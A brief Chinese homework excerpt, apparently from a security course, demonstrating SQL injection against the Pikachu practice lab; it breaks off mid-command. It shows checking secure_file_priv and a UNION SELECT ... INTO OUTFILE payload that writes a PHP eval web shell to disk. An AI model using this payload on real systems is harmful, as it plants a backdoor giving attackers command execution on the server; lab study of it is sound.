第六周作业

一、sqli漏洞演示： 1.通过SQL inject漏洞写入恶意代码 默认情况下：secure_file_priv是关闭的 首先通过show global variables like ‘%secure%’; 然后切会pikachu做测试 获得操作系统权限： allen’ union select " <?php @eval($_GET['test'])?>",2 into outfile “/v

>>阅读原文<<